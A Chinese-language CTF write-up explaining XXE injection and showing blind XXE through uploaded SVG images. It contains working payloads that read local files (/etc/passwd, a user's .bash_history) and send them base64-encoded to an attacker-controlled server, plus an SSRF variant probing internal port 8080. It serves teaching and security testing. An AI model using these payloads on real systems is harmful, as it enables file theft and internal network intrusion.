0x00:介绍
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
xxe漏洞触发的点往往是可以上传XML文件约位置,没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件。
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞
Blind XXE
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
所以,在没有回显的情况下如何来利用XXE
无回显,但是又是XXE,我们又自然地想到了XXE盲打,也就是通过加载外部一个dtd/xml文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。
思路:
1. 客户端发送payload 1给web服务器
2. web服务器向vps获取恶意DTD,并执行文件读取payload2
3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
4. 通过VPS获得回显(nc监听端口)
0x01:一次Blind XXECTF
题目要求输入一个 svg图片的链接
- SVG 指可伸缩矢量图形 (Scalable Vector Graphics)
- SVG 用来定义用于网络的基于矢量的图形
- SVG 使用 XML 格式定义图形
- SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失
- SVG 是万维网联盟的标准
- SVG 与诸如 DOM 和 XSL 之类的 W3C 标准是一个整体
由于SVG是基于XML的矢量图,因此可以支持Entity(实体)功能。
测试代码,一个自己服务器上的1.svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xml "POC for Static Entities Allowed">]> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="20" y="50" width="100" height="100" font-size="10">&xml;</text> </svg>
可以看到我们提交的实体,已经被执行
尝试一下直接读取文件
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="0" y="20" font-size="10">&xxe;</text> </svg>
没有任何回显,所以考虑 Blind XXE
0x02:Blind XXE
Blind xxe实现文件读取
<!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://**server IP**/xxe2.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>
远程个人服务器上的 xxe2.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/home/r1ck/.bash_history"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://**server ip **/%data;'>">
服务器
python -m SimpleHTTPServer 端口号
就可以监听http请求了
Blind xxe 配合SSRF实现内网探测
<!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://**server ip**/xxe3.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>
远程个人服务器上的 xxe3.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://**server ip**/%data;'>">
只要目标主机8080上有服务,个人服务器上 http监听,就能有回显结果
其他人的payload:
entity.svg
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE fortiguard [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> <!ENTITY % dtd SYSTEM "http://**server ip**/1.dtd"> %dtd; %send; ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&lab;</text> </svg>
远程server上的1.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://IP:端口/?%file;'>" > %all;
Finished!